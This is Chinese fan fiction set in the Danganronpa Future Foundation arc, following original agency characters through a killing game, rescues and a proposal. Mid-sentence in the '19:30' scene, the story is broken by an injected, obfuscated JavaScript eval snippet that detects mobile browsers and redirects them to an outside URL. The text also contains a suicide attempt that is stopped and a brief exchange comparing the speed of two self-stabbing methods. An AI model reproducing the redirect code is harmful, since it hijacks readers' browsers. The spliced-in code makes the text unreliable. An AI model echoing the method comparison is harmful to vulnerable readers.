镇静剂在起作用。如今半空中打斗的嘈杂与他无关,冰冷的金属地板冻的身体毫无知觉,唯有空洞的眼睛依然看着空洞的金属天花板。他知道自己在崩溃,脑海中反复回响着的只有她的声音。走马灯中出现了很多很多人,有开着玩笑的如月有严厉教导格斗的金城,有比自家老哥温和的多的启介,有在记忆里渐渐稳重起来的凤……但是如今这些声音都变淡了,唯有与她相关的那些声音永远挥之不去。 ……… 灯灭了。有女人的尖叫声。但那都已经无所谓了。全都无所谓了。 我什么都做不到。什么都…… 他听见什么东西碎裂的声音,而后发觉那是他头顶的护目镜。可能是刚才和那两个人争斗的时候被打碎的,可能是抓着头发的时候也抓到了它。但这已经无所谓了。 ………对不起,我输了。没有伊良波五月的世界毫无意义。真是可笑……说这要保护她不受一切伤害,到头来真正离不开对方的人是我自己。 就这样永远睡下去吧。就这样……… 啊。或许有更快的方式。他转头看向十六夜留下的一地铁器,挣扎着爬起来——刚才呼吸得太着急,用了太多体力,忽然疲软下来身体撑不太住——抓住一把匕首。 很蠢啊。很愚蠢很天真,很中二很幼稚。他嘲笑自己,他们都说我们是笨蛋情侣,我这个笨蛋也只能做到这样…… 等等我,五月,我马上…… “……请等一下!!!” 【18:20】 “找到了。” 这里就是……宗方宣布逮住苗木的广播室。金城拦住想要进门的老爷子和朝日奈,弯下腰在外骨骼上取下两把枪:“好了。” “mac-10轻型冲锋枪,”老爷子眯起眼,“还进行了改装。如月那小子很有本事啊。” “还有这个轮椅……”朝日奈歪着头看着从会议室找到的金城的“坐骑”,“好轻!感觉比月光原的还舒服!” “多谢夸奖。朝日奈,一进去就去带走苗木,剩下的交给我和老爷子。”金城小声说,得到肯定的回应后瞟向门把手,然后狠狠地撞开它带两人冲进去。 “会长!朝日奈,还有……金城先生!” 苗木兴奋地大喊。宗方眯起眼:“来了三个……又是你,金城,这次不会让你跑了。” “我和苗木不一样。”金城严肃起来,脱掉外套扔到一边,“我不会任你宰割。” “呵……” 宗方抬起刀指向苗木……而后刀咻地被什么东西击飞。金城知道那是什么———老爷子抬起手将袖箭发射了出去,一改往日的慈蔼和善,犀利的目光将宗方钉死在原地。 ……意料之中。时限中的自由活动给了金城很大的便利,他知道了每个人的底牌。 “袖箭吗,还真是古老的武器。” “爱情使人疯狂呢……”老爷子淡淡地说,“雪染君死后,你不那么从容了。” 金城:……想到了另一个笨蛋。 “朝日奈,带着苗木快走,右手把手转一下会自动调高速度。”金城转了下枪调整好角度,“我来掩护会长,稍后就能跟上你们。” 如果按照原计划让月光原跟来,不知道又能是什么情况……毕竟那个月光原令人眼熟得恶心。 “右手……呜嗷!!!” “金城君。”老爷子瞟了一眼,“事实上,这是我们未来机关内部的事情了。” “您这是逐客令啊。”金城端起枪,“可惜……既然正副两位会长都在这里了,我也有相当多的问题呢。” “天真。” 宗方架起刀向天愿跑来,老爷子灵活地躲过挥砍,伸出袖箭攻防一体;金城站在高处双枪齐发瞄准宗方,想着如果是牧清香在这里宗方保证没命;宗方临头劈砍,劈下后发现天愿安然无恙,双手摁住刀背反而使持刀人动弹不得,还不得不继续听着枪声躲避子弹,随后便被天愿握着刀扔出去。 “年轻人要是冒进,就会一心想要与现实对立,”天愿板着声音说,“但在我看来,那才是天真的做法;正是这种天真,才造成了牺牲……!” 宗方捡起刀:“不管造成多少牺牲,那都是为了歼灭绝望所必要的牺牲!!” “原来如此……” 金城与天愿异口同声发出嗤笑。天愿抬起头,示意金城先说。金城跳到二人中间,斜着眼看着宗方:“我以为您能有什么高见呢……原来不过是与曾经天真愚蠢的我一样的偏执激进。” “让开,金城剑,这和你无关。” “是你们把我们卷进事件的。”金城厉声道,“你说为了歼灭绝望多少牺牲都是必要的,那么雪染千纱的死,也在必要的牺牲中是吗?” “………!!” 宗方瞪着眼挥起刀砍下,金城弓身轻松躲过,顺劲抬起膝盖狠狠顶向宗方的身体;天愿趁势空手接住宗方砍下的第二刀,而后炽热的鲜血从金城头顶淋下。 ……… ………诶? ……等一下,为什么? “这就是我说的天真之处。” 天愿的右手被劈成两半,宗方的刀也卡在血肉之间。此后不知哪方先变换了重心,二人一同坠下廊桥;夹在二人中间的金城感到被谁拉了一把,险些一同坠下。 ……说是险些,不如说他及时抓住了破裂的水泥中间露出的钢筋。长期拄拐练出的强大臂力起了作用,使他能挂在钢筋上,然后听着沉闷的“咚”的一声从下方传来。 ……… 等一下,为什么?明明胜负已经…… 金城咬着牙,感谢着临走时有戴上手套,否则没法承受钢筋的撕裂。他一使劲把自己甩回廊桥上,喘息着庆幸没和那两人一起掉下去。 ……这也是天运吗。 “呵呵……现在金城君不在了。你有事情要问吧,宗方。” 他们以为我也掉下去了?金城屏住呼吸,趴在廊桥上窃听二人的对话,试图洗刷出自己想要的消息。对话声音时断时续,他只能听见宗方将绝望残党的头衔又安到了天愿身上,遭到了对方的嘲笑;而后愤怒的宗方问出了那个问题。 “所以你对袭击者的身份已经有眉目了?” “那是当然。”苍老的声音说。后面的话金城听不清,但有一个词毫无疑问传进了他的耳朵。 “全部。” 金城转身飞速跑开。 【18:40】 “请等一下……!!”苗木诚跌跌撞撞爬下轮椅向拿起匕首准备自尽的小桥川跑去,“请等一下……小桥川先生对吧!!请不要这样!!!” 小桥川瞪着空洞的眼睛抬起头,茫然地看着被拍到一边的匕首:“……苗木诚?……” “赶上了赶上了!”尖细的机械音传来,屏幕上挂着小兔子的轮椅少女吱吱呀呀地拐进来,“唔,检测到幸存者!你还好嘛,小桥川君?” “刚才月光原帮我吗打跑了逆藏那个大混蛋!”朝日奈葵得意地叉起腰,“今天真是开了眼了,连着见到两个高科技轮椅。” “……你们见到……金城了?”小桥川哑着嗓子问。 苗木点点头:“金城先生说不定待会儿就能赶上来。我们仨刚逃脱逆藏,时限快到了,想着找个安全屋……” “这里不安全……不久前还……” “……如果您说的是忌村前辈的话,”朝日奈插嘴,“她好像又打了什么药剂,刚才被月光原撞翻了来着……” “………” 小桥川无力地点点头。苗木意识到他状态不对,想了想决定使用自己惯例的口头治愈。 “……金城先生跟朝日奈说过了,关于伊良波小姐的事情……”苗木叹气,“我很抱歉,但是请听我稍微说几句好吗?” “78届的幸存者无论何时都是可以相信的。” “他们和我们一样……是真正在传递希望的人。” “……你说。” “对于您来说,伊良波小姐一定是非常重要的人……我知道失去的悲痛。正因如此,我才一直坚持战斗到了现在。逝者无法挽回,但我必须背负着逝者留下的希望前行,这是幸存者的责任。说实话我对如月机关的大部分……呃,同学,都没那么熟悉,但我相信你们是坚定地践行着希望的家人。 “当然了……伊良波小姐可能身死于未来机关,这无疑是我们的过错,但我相信是背后的主谋策划了一切。主谋利用这一点试图离间如月机关和未来机关,从而达到他不可告人的目的…… “最后,虽然没什么资格说这话……您不是没掌握伊良波小姐死亡的明确证据嘛!就算是用NG行为倒推,说不定她正好逃脱了主谋的监视,而主谋的目的之一,正好是让您精神崩溃。” 大门砰地推开:“苗木诚!!!我知道了………晴彦?!” 满头是血的金城喘着粗气跑向小桥川:“活着……太好了。苗木,我知道袭击者是谁了。” “……剑?”刚回过点神的小桥川眼都直了,“哪来的……这么多血?!” “不是我的,没关系。”金城抹了一把血甩到一旁,“啊……时限要到了。等你们醒了再说吧。” 被吓坏了的苗木和朝日奈:“啊??啊……您怎么找来的?” “轮椅上的定位器。” “………” 手环滴滴滴地响起声音,几人一同抬起手,相互依靠着准备迎接麻醉剂。金城拍了同样准备坐下的小桥川一脑壳:“你,跟我走。” “……?时限不是……” 小桥川回过头,苗木、朝日奈和月光原都已经闭上眼熟睡。金城摇摇头,示意他不要说话。 “唔噗噗噗噗噗,袭击者还醒着吗?” “黑白熊?!”小桥川愣住了,随后看向自己的手环,忽然意识到不对劲,便抬起头看着金城哆嗦起来:“麻醉剂……没有对我们生效……” “第一次时限就该告诉你,但那时候我没确定。”金城摊手,“现在……可以知道了。” “应该不是巧合……”小桥川掐着手心。 “除此以外。”金城瞟向闭着眼睛的月光原,压低声音:“那家伙是塔和市的那个小丫头控制的机器人,我几乎可以断定。因此,每一次与她对话,我都是在「与外界联系」。” “……所以NG行为也是无效的。” “很好。”金城大声说,“因此我们得到的结论是?” “策划者从来没想过要我们参加自相残杀,我们是意外卷入的变量,是意外的存在。因此事实上NG手环对我们来说只是摆设,是用来掩人耳目的东西。所谓的NG行为,只不过是骗局……” 金城伸手拉起小桥川,扶着头叹气:“先走吧,我们得去找雾切。” “那,那五月……” “……那时候基地里已经很危险了,没看见她本人的时候我什么都不敢确定,但是,”金城瞄了他一眼,安心地看着血色渐渐涌上,“我相信平良和天运。” “………” 小桥川脸一皱几乎要哭出来,想着不能丢脸又生生憋了回去。 “围巾呢?护目镜呢?” “………地上………” “………行了。赶紧跟我过来,我们不剩多少时间解释了。” 金城又抹了一把脸上的血迹,拉着渐渐回过神的小桥川跑出门去。 那不是他的血,这很好。 【16:40】 穿西装跑步真是太难受了,四肢像被捆住了一样伸展不开………但是谁还管得了那么多,快点跑就是了…… 要是那时候不逞强往回跑就好了…… 伊良波攥紧覆着天鹅绒的小盒子,躲在墙角用项链吊坠反出的光观察走廊上的情况:三个带枪的戴着头盔,一个拿着匕首,还有一个像是带队的,戴着墨镜走在最前面,估计有防弹衣。 很好,应付得过来。 她伸手解下发绳,咬掉上面装饰作用的小球,啪地将它扔到走廊的地上。那几个守卫听见响声连忙开枪,伊良波趁机冲出来,蹬着墙跳到带匕首的人身上,干净利落地拧住他的胳膊摔到地上;枪声响起的时候火光和硝烟正好掩盖了她的身形,几个惊魂未定的守卫再看见她时,她正揪着墨镜男的头发、握着刚缴获的匕首立在他喉管前:“都别动,放下枪,否则他就死。” 几个守卫面面相觑,轻轻把枪摘下放到地上举起双手,而后落荒而逃。伊良波说声“抱歉”,按裸绞的方式绞住墨镜男的脖子把他勒晕,捡起地上的枪啪嗒啪嗒跑开。 金城一直说她的身体素质太适合偷袭和暗杀了,但是这种工作既不正当又不好玩,只有现在这种关键时候能用得上……每一次任务都完成得很完美,柔韧性和敏捷度极强的伊良波总能打敌人一个出其不意,劫持人质放狠话的时候演的也超级棒……虽然她并不是很喜欢这种典型的“坏蛋”行为。 ………但是感觉还是少了点什么。恐怕是他一惯的无脑夸奖。无论干什么都直接一顿乱夸,颇有“我家五月会自己吃饭了!”的蠢笨感。 ……少了这个声音又怎么样?还不是小桥川晴彦笨蛋笨蛋笨蛋。说好了三天不搭理他,干嘛还满脑子去想他? 不过是被困在未来机关……不过是…… 啊啊,可恶,伊良波边跑边想,干嘛还赌气啊?我也真是笨蛋。那家伙不是已经不生气了嘛……干嘛还想这些没用的,何况…… 她看向手中的小盒子。逃亡的路上她好几次想趁着躲避警卫打开看看,最后都在忐忑与对峙警卫上耽误了心情没能打开。她早就猜到了里面的东西,只是始终没能鼓起勇气去看。 ……笨蛋,又不是再也见不到了,干嘛二话不说直接塞手里,至少说句,说句肉麻的话啊…… 伊良波跳上墙体,打开通风管道的盖子钻了进去。通风管里虽狭小且寒冷,却正好足够娇小的伊良波爬过去。 这个基地里现在诡异的很……门什么的都打不开,警卫明明穿着未来机关的制服却好像在帮忙困住未来机关的支部长们…… 门什么的走不了,也只能另辟蹊径啦。 ……西装真是太难受啦,四肢被囚禁在小小的空间,通风管里冰冷的空气激得她打了个喷嚏。 要是晴彦也在就好了,她抽抽鼻涕想到,他至少不会让我挨冻…… ……希望聪明金城能带着他活下来,总感觉未来机关有大事发生了,我们不会正好…… 哎呀,禁止乌鸦嘴!! 距离风管的出口越来越近了。她知道自己身上的定位装置回告诉上原他们她的位置,先逃出来再想办法救援里面那二位也不迟…… ……笨蛋晴彦不知道能不能好好听金城的话,金城的话总是没错的,听他的就一定没问题……虽然警卫们都带着枪什么的,还看见了带着什么药物炸弹的走过去,但是一定没问题,金城一定有办法,一定没问题…… ??喂喂笨蛋不可以掉眼泪,五月和哥哥说好了不可以哭。虽然哥哥也是大笨蛋,但是不可以哭。不可以…… 伊良波努力咬住嘴唇。 ……不可以死,不可以死啊晴彦。 她用力踢开通风管道尽头的盖子,为它通向基地外部感到由衷地欣慰。上原很快会带着比嘉和菖蒲亲找到她,那之后,那之后再去救他们…… 伊良波爬出管道跪坐在地上,忽然想起什么,刚刚平稳了一点的呼吸又急促起来。 既然现在暂时没有危险了……那打开看看也…… “唔……” 她轻轻打开覆着红色天鹅绒的漂亮的小盒子。温和的轻柔的光折射到她的眼睛,银色的小翅膀将小巧的钻石围绕成十字星的模样——毫无疑问,这是一枚钻戒。 “………” 她拈起它,想了想,戴到左手无名指上,就像他们一起看过的很多很多电影中的女主角一样抬起手仰视它。天空密布着绝望的阴云,伊良波五月的泪水与那枚小小的钻戒是绝无仅有的光亮。 “笨蛋……这种事情要当面说啊……” 【17:00】 如月大和扯下外套急急忙忙披在肩上,扶起黑川帮她扣好扣子:“贾巴沃克岛那边暂时管不上了。未来机关的秘密基地,小桥川开飞机去的,十神白夜跟咱联系上了,待会儿能送个直升机过来。没关系别急,里面就困着剑和晴彦两个人,剩下的都在外面呢。” “我没有急,”黑川拍掉他的手,“倒是你,着急忙慌的。” “哎呀。”他伸手掐掐她的脸,“我是觉得……我们有必要一起去。我是说,79届的同学们……” “全员一起去?家被人端了怎么办?” “……我总觉得一起去准没错。” 如月扣上帽子,正了正位置,冲黑川笑笑:“我总觉得……我们和希望之峰学园的孽缘可能要到此为止了。” “……孽缘呐。” 她想起那个梦。梦里所有人都沉入海底,与光亮越来越远,然后再也看不见。海底沉寂得像死去了一样,什么也看不清,什么也看不见,所有的一切都随着沉没消失殆尽。 她想起苗木转述的、新世界程序中的日向创的话语。挺起胸抬起头,自己去创造自己理想的未来,自己去改变命运…… 这又何尝不是79届生一直在拼命搭建的。 这才不是梦。这是大家一同亲手改变的未来。 “……我们走吧,大和君。” “不舒服赶紧告诉我,千万别逞强。” “都躺了好几天啦,没关系的。” “……美佳子。” “嗯?怎么啦?” “你不想知道……你脑子里那个东西是什么吗?” “………” 黑川苦笑着摇头。 “不是不想知道,而是……我可能需要做一些心理准备吧。我知道你是在担心我。我不害怕。” “……好!那我们就出发!” 【18:20】 “阿嚏!” 波多乃叹着气拉下拉链,将防弹马甲盖到伊良波身上:“小心别着凉了。” “啊啊啊菖蒲亲谢谢你!” 上原翻着圣经,头也不回地说:“我建议你把那枚戒指好好收起来,上帝会祝福你们但是不会帮你把它找回来。” “哦哦好的!!但是它好漂亮!!!” “那家伙从老家拿了半个屋子的限量款飞机模型卖了换的。”比嘉摸摸兜掏出一包烟,“这话我憋了一个多月了。” “一个多月?!” “看上去伊良波对半个屋子的限量款飞机模型并没什么概念。”上原插嘴,“我也不是很清楚……但是照屋给那些卖了有六位数差不多吧?” “六位数????” “咳……呸呸呸。带打火机了吗近次?借个火。” “我不建议你在这里抽。”上原依然没抬头,“如果你知道为什么晴彦每次都拖着你到茶水间抽的话。以及,虽然我对非教徒没有什么劝谏的权利,但是抽烟对身体伤害很大……” 波多乃连忙止住话头:“十神白夜什么时候来?已经过去将近一个小时了,外面的攻击还没结束……” “而且好冷!阿嚏!”伊良波抱着自己说,“我们真的就在这里等着?” “不是只在这里等着,而是一边收拾警卫一边等着。”比嘉收起烟压着腿说,“伊良波就别装蒜了,属你撂倒的最多。” “诶?我看见谁出来就打翻了而已!” “………喂近次,你知道她这么能打吗?” “不知道。之前一直安排的晴彦跟她一起出任务,要问进去把他拖出来。” “倒不是能打,力量还是有差距的,”波多乃反手抓住身后向几人伸来的枪杆,一用力扯了出来、扭成90度;里面的偷袭者显然没想到遇到了狠角愣了神,枪被塞回去的时候他一定被枪托砸碎了下巴。“比如拧枪这种工作她没法完成。” “……第四个了吧?”比嘉揪着头发,“看见有人还敢伸枪进来,不长记性。” “收拾收拾吧,临时……窝棚要拆迁了。”上原竖着耳朵听着直升机的动向,“就算不是十神白夜,或者不是援兵……我们也该动身了。” “好吧。波多乃,搭把手。” 上原拽着发愣的伊良波站到一旁,比嘉和波多乃如风卷残云般将几人作为躲避的临时基地帐篷——上原嫌弃地称其为“窝棚”——拆掉,压成可以背在身上的包,拍拍手招呼着两人:“走咯,现在是先突进未来机关吗?” “不要冒进,我们不知道里面到底发生了什么。”上原说,“先在附近找找线索,下次遇到警卫不要直接打晕,要拷问。” “……这话从你嘴里说出来好吓人啊近次。” 【19:10】 “会议室……”小桥川推开挡路的椅子,“我们刚闯进来,催眠瓦斯就把咱放倒了。” “有件事我很在意。”金城说,“明明进来的时候你还推着我吧,为什么醒来的时候离了那么远呢?” “就算是往手上绑NG手环,也没必要拉开那么远对吧?”小桥川努力转着不太好使的脑筋,“确实是很可疑的……” 一道灵光从金城脑海中闪过:“有没有可能,我们其实已经被挪过位置了……” “位置吗……”小桥川皱起眉,“这么说起来这地方确实有点诡异,好像走的没那么舒服……” “没那么舒服?”金城抬起头,“……当初逃出研究所的时候你有展现过你的方向感吧。” “……我明白你的意思。”小桥川严肃起来,“之前一直想着五月的事情,都没仔细想这些……依我看,我们现在可能根本不在地上。” “不在地上?!” “不是研究所那样的地下结构!是重力,重力绝对不对劲,大概只有0.95个G吧……” “像是在水下?” “就是那个感觉……喂喂别过来,别揪我耳朵哎呀你要干什么?!” “早说啊!!”金城低声吼道,“这个基地建在岛上,我们很有可能处于水下明白吗?!” “……对哦!” 水下的建筑与地下不一样……虽然建筑墙体为了抗住水压强度很大,但浮力还是会被敏锐者感知到……尤其是与重力变化为伴的飞行员。金城蹑手蹑脚地跨过雪染尸体旁沉睡的宗方,带着小桥川跑出会议室。 “袭击者的身份是「全部」。”金城边跑边说,“按照雾切的推测,恐怕和那个监视器有关,但目前还没有确凿的证据。” “监视器?” “我也不清楚……那是侦探的事了。我知道的是到目前为止每个死者的死因都是被同样款式的匕首刺穿心脏,”金城压低声音,“而袭击者的身份是「全部」。你知道那意味着什么吗?” “意味着什么?” “……偶尔思考一下吧,你这样参加自相残杀就是裁判场上不停问问题的笨蛋了,”金城叹气,“我认为……自杀的概率很大。” “……自杀?!” “原因很简单。”金城停住脚步,转身指着小桥川鼻子,“我问你,你刚才像**一样准备拿刀自尽的时候,你认为割喉还是捅心脏死的更快?” 小桥川皱起脸:“心脏。” “大致就是这样。”金城转过身,继续踏着他的外骨骼喀啦喀啦地跑,“顺便,我已经懒得骂你了。口口声声要保护伊良波,听到了点没经证实的屁话就发癫,到最后直接蠢到要自我了结……要是苗木到得晚了一点呢?要是伊良波没死,你让她怎么面对你的死?” “……” “行了。去找这次的死者吧。” “……剑你谈过女朋友吗。” “呃,没,怎么了?” “你或许会觉得我傻得要死……那是因为你没切身体会恋人因你的过失而死的绝望和愧疚。或者不必是恋人,朋友,家人……比如那个,佐佐木,我记得是这个名字?你不曾为他的死感到悲哀痛苦吗?” 金城站住脚,低下头,深深地叹了口气:“你说的对……明明更擅长拆弹的人是我,我却只能眼睁睁看着……但是你知道大和是怎么跟我说的吗?” “……” “我会为他的死感到悲哀和愧疚,但如果我因愧疚而结束自己的生命,他也会为此责备自己。”金城把手搭在小桥川肩上,“明白吗?你想让伊良波那么活泼的姑娘为了你终日郁郁寡欢吗?不要让悲伤传递下去了……就此终止吧。” “………我从来没想过之后的事……” “如果还要说傻话的话我劝你还是闭嘴比较好。” “……嗐。” “先停一下……”金城看着脚边汩汩流出的混杂着血液的水,皱着眉抬起头,“倒底是晚了一步。” 小桥川跟着抬起头,看着忌村静子的尸体安安静静地钉死在墙上,闭上眼摇摇头。 ……什么时候能结束啊。 【19:30】 “来得太慢了,十神白夜。” 上原一手拎着浑身湿哒哒的叶隐康比吕,一手拉起正在爬上废墟的比嘉,“发生什么事了吗?未来机关内部为什么联系不上?” “原因还在排查中,正在努力和他们联系。”十神白夜跳下飞机,扶正眼镜,“不过久别重逢只说这些,还是有些心寒啊——上原近次先生。” “好久不见。”上原微笑着扔下比嘉伸出手。“我们机关长联系你们了吧?” “啊。十神财阀的直升机刚接到他们。”十神点点头接住上原的握手邀请,“不过我还是要说,偌大一个如月机关没有会开飞机的?” “当然有,在里头呢。”比嘉插嘴。 “……只靠一个超高校级?恕我直言,这不像你们的作风,太不稳妥了。” “当然不止晴彦一个人,”伊良波忿忿地说,“美佳子说派了空战部队去贾巴沃克岛支援了!我们的A·E还在那里呢!” 十神皱起眉:“看来我们是错开了……我今天中午才从贾巴沃克岛回到十神财阀,谁知道基地这边发生了这样的事……” “所以我们还在这里等着?”波多乃站起身拉拉胳膊,“等里面被困的人都死光了再进去?” “……您说话真难听。” “我顺便需要问一句,”上原想起了些什么,“贾巴沃克岛上的77届生,也就是绝望残党们,那时你们说神座出流选择自行解决还未醒来的同学们……有结果了吗?” “暂时没有。”十神斩钉截铁地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908408|176831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,“我唯一能确信的是那个人不应再被称为「神座出流」了。” “……详细的之后再解释吧,现在时间来不及。”上原回过头,“伊良波,先前抓到的那个狙击手呢?问出东西了吗?” 比嘉浑身一哆嗦:“想想就瘆人……虽然那家伙枪法比清香差远了,但是……正面迎着狙击枪翻上去把人抓住还能拧下来,不知道伊良波到底在身上藏了多少奇奇怪怪的牛逼能力……” 波多乃跟着小声吐槽:“就这样还说自己是家里最没用的孩子呢,那启介……” “他说自己是被会长要求的,跟着部队在基地外面阻拦入侵者,”伊良波大声说,“我扒掉了他的枪和装备就放他走啦。” “被会长要求的?!”十神难得露出慌张的神色,“虽然未来机关内部从来都不是钢板一块……但是这也太……会长要求……” “没有问出别的消息吗?”上原问。 “没有。”伊良波嘟着脸,“我拿着刀指着他,他都快吓哭了。我没那么擅长拷问别人,所以只好让他只回答我的问题。” 【20:20】 “我没那么擅长拷问别人,所以我建议你好好回答她的问题。” 小桥川抓着匕首抵在安藤流流歌的脖颈,左手紧紧锁住她的双手。黄樱盖上帽子:“摁住这个毒妇,这边这大家伙我看着。” “没问题。”小桥川冲他眨眨眼。 要不是刚才眼疾手快拎起了马上要掉进陷阱里的雾切,黄樱老师说不定会为了抓住她而张开左手然后触发NG…… “欠你一命,小桥川君。”黄樱揭下帽子,欠身向他行礼。 “……哈哈应该的。” 雾切拔出十六夜尸体上的匕首向她走来:“这是从忌村静子的尸体上拔出来的吧。为了伪造十六夜的死亡事实,不惜向他的尸体上再捅一刀……没错吧。” “我、我没有,”安藤拉着哭腔说,“我那么爱小夜,我怎么可能咿!!!!!” 刀尖更接近她的喉管,安藤尖叫着抬起头想要挣脱,又不敢动弹过头碰到刀锋。 “我不想伤害任何人,”小桥川低声说,“所以回答她的问题!!” “那个,小桥川先生,”御手洗搓着衣角带着颤音说,“不要、不要冲动……” 本来没想着逼她。小桥川眯起眼:这个房间里布置满了各种陷阱,就像是在掩盖什么似的。时限结束前金城让他留在这里,自己跑回去找苗木了……临行前,二人确认了一个共识: “尽可能保护所有人。虽然一定很艰难……但是能留下多少是多少。” 这样的事件一旦被完全揭露……未来机关内部在进行着新一轮自相残杀游戏的消息一旦被世界得知,恐怕绝望会有复苏的趋势。虽然一开始黑白熊称正在向全球直播,但是在绝望残党都被捕获的如今,想必绝望势力并没有那么强的能力了,因此恐怕只是恐吓和强迫游戏的手段罢了。 ……狡猾。 “况且非要说动机的话,”雾切走到书架旁,用力将它扳倒,“动机就是这个。” 一扇画着黑白熊的脸的、充满恶意的门。安藤尖叫:“那扇门……又能证明什么?!” “通往外界的门……”小桥川眯起眼,“原来如此。你的NG行为不正是「有人离开游戏场地」吗?” 御手洗凑近黄樱:“他离那么远怎么看得清的?” “你个天天盯着电脑的当然不知道,”黄樱敲了下他的脑袋,“他可是为了上天而生的天才飞行员,视力好得很。” “那你怎么知道?” “不要小瞧希望之峰的猎头啊,臭小子。” 【20:05】 “总算是接通啦!!!” 月光原屏幕前的兔子高兴地叫起来,将屏幕朝向苗木,“来,说句话试试!” “呃,那个,能听见吗?这里是苗木诚……” “听见了……喂!!你们几个!!内部接通了!!!” 苗木和朝日奈高兴地对视一眼:“是十神!!” “他身边还有其他人?”金城抱起胳膊,看见屏幕上闪出的人脸后险些没控制住表情:“光宏!!” “我草……快过来!!!别打了!!!剑在这里!!!” 苗木抬起头:“是金城先生的……同伴?” “是他们。”金城使劲收拾了一下情绪,“人都齐吗?现在外面情况如何?” 十神挤进屏幕:“四个人,他们说齐的……时间紧迫,没工夫给你们叙旧,快点说现状!!” 金城一把推开苗木:“让近次过来,好好听好了:我们现在在基地正下方的水底建筑里,这里有与上方完全一致的建筑结构,通讯器被留在上面了;我和晴彦现在都很安全,未来机关的支部长已经死了一半了;让大和做好B33计划准备,记不住的话问铭苅,她也记不住就去问驱;现在立刻转告总部!!!” 苗木和朝日奈以及十神目瞪口呆地看着屏幕里外的两人一个高速爆喊一个高速记录,金城停下来喘气的当口也传来冷静安心的声音:“记完了。还有什么事吗?” “苗木?”金城转向苗木准备把话语权扔给他,忽然又想起什么:“等一下,伊良波在吗?” “我在!!” “……好了,好了。” 金城向后退几步,忽然抽干了力气一样跌坐在地上,冲吓了一跳想过来的苗木摆摆手示意没事——然后发现自己在笑。 ……从和大家一起逃出来、建设如月机关开始,突然多了很多笑容。佐佐木以前总说他不爱笑,天天板着脸;一旦笑起来呢,又温和得不像警察,倒像是谁家隔壁的大哥哥。 ……突然明白了这种感觉。 “啊,对了,”十神叫起金城,“不知道合不合适……我要连线到塔和市了。” “塔和市?”苗木还在一脸懵,金城一个鲤鱼打挺蹦起来:“那样的话——谢谢了,近次。” 苗木:“……啊?” 面前的轮椅少女发出“错误、错误”的声音,眼睛也冒出红光,而后吱啦吱啦地低下头,苗木和朝日奈睁大眼睛不明所以,金城则看着变成雪花屏又显示出某人画面的屏幕抱起胳膊微笑:“好久不见,小困。” “……困?!” “哥哥!!”苗木困兴奋地抱住屏幕,“这下不知道了吧哈哈!惊喜惊喜!” “有了上次的教训,”金城在后面无不得意,“一旦中微子通讯仪失效,我们的人就会立刻通知每一个能通知到的情报站点,其中就包括塔和市——的凤超市。借此他们就能联系上在塔和市停留的腐川和小困,然后调查到关于早已被杀死的月光原美彩——和塔和最中的所作所为。” “就是金城哥说的那样,”苗木困说,“哥哥,我和冬子姐刚才得知了一个消息……” 【20:30】 “把安藤和逆藏扔在那里,真的没关系吗?” 雾切奔跑着摇摇头:“不用在意,小桥川先生,安藤已经被自己的行为逼到崩溃了。至于逆藏试图打开那扇门……你应该知道那绝对不是真正的出口。” “安藤她可是要杀了我们的。”黄樱补充,“如果小桥川君不在这里,说不定我和小响子都没命啦。” “别、别这么说啦,怪不好意思的……还有别加先生求你们了,没猜错的话我应该是最年轻的,我可是79届啊!!!” “是哦……我是77届,雾切是78届,黄樱先生是老教师了……” 跑着跑着就碰到了苗木一队。彼时御手洗正和雾切“探讨”到关于是否信任苗木的问题,雾切侃侃而谈“关键时刻总是很可靠”、“很积极、绝不轻言放弃”、“那时候有他在我才能从游戏中幸存”之类明显带着滤镜的话,听的小桥川怀疑自己平时是否也如此令他人浑身起鸡皮,然后一回头——金城和朝日奈挂着“哦嚯”的笑看着雾切,一旁的苗木红着脸别到一边。 金城:“现在知道你平时有多可恶了?” 小桥川:“………好好好。” 几人找到一个茶水间,安安稳稳地坐下来,倒上热水泡了几盒泡面,好好地补充了一顿体力。 “这是啥?”苗木嗦着面条指着小桥川脖子上的吊坠。金城虎躯一震:“好奇心怎么那么旺盛。” “喏,给你看,”小桥川得意洋洋地打开吊坠盒,“我老婆,好看吧?” “伊良波小姐吗?好漂亮!” “行了行了。” 金城知道得赶紧把话题拐回正事上——要不这家伙能一直叭叭下去。” “所以我们现在在海里……”苗木低下头,“为什么十神他们现在还没到呢,难道是出了什么意外……” 金城抱着一包瓜子边嗑边说:“不会。最多是遇到了意料之外的事件,就算是那样,如月机关的人还在他身边。我们身上有天运,遇到危险的事情也没什么大不了。” 雾切低下头,摸出一个笔记本:“………金城先生,这是我调查的笔记,交给你了。” “………已经查明了啊。” “我现在稍微明白了一些事情……”雾切点点头,“在贾巴沃克岛的时候,日向创……也就是神座出流,他称你们为「改写推动了命运的人」。本来不该出现在此的人却出现了,不该参与未来机关自相残杀的如月机关的成员被卷了进来……我想,我也该开诚布公一下,至少不能让苗木和朝日奈为我伤心。” “诶?”嘴角还挂着泡面汤汁的苗木眨巴着眼睛抬起头,“怎么了,雾切?” “……” 金城和小桥川对视一下,点了点头。 “苗木……”雾切深吸一口气,亮出自己的NG手环:“这是我的NG行为……” 【20:00】 “喂!!这边这边!!” 如月大和打开飞机舱门,牧清香在门口开了几枪示意位置。地面上的十神整理了一下被风吹乱的头发:“总算来了啊……如月机关……” “清香亲!!!”伊良波高兴地挥舞着双手,“你怎么……诶等等,大家都来了?!” “就连茜也……?!”波多乃惊喜地上前一步,“那,总部那边……” “有启介老哥,应该没问题。”比嘉笑呵呵地说,“现在不比当初……咱是有部队的嘞。” “全员!!执行B33计划,开始!!”如月向机舱内吆喝一声,铭苅率先翻着白眼给手中的枪拉好栓:“金城那家伙到底在想什么?干嘛把备用计划分成这种类别,真是够了……” “得亏背法条的经历……”山口讪笑着背好身上的包,“B33计划,全员武装突进,使用内振武器破坏爆破物,整体执行F队形……” “行了行了别给我念经。” 牧趴在舱门口端着枪,想着想着踹了一脚如月:“感不感觉这个场景似曾相识?” “啊……真的似曾相识呢。” “像是最开始的那时候。”黑川笑着说。 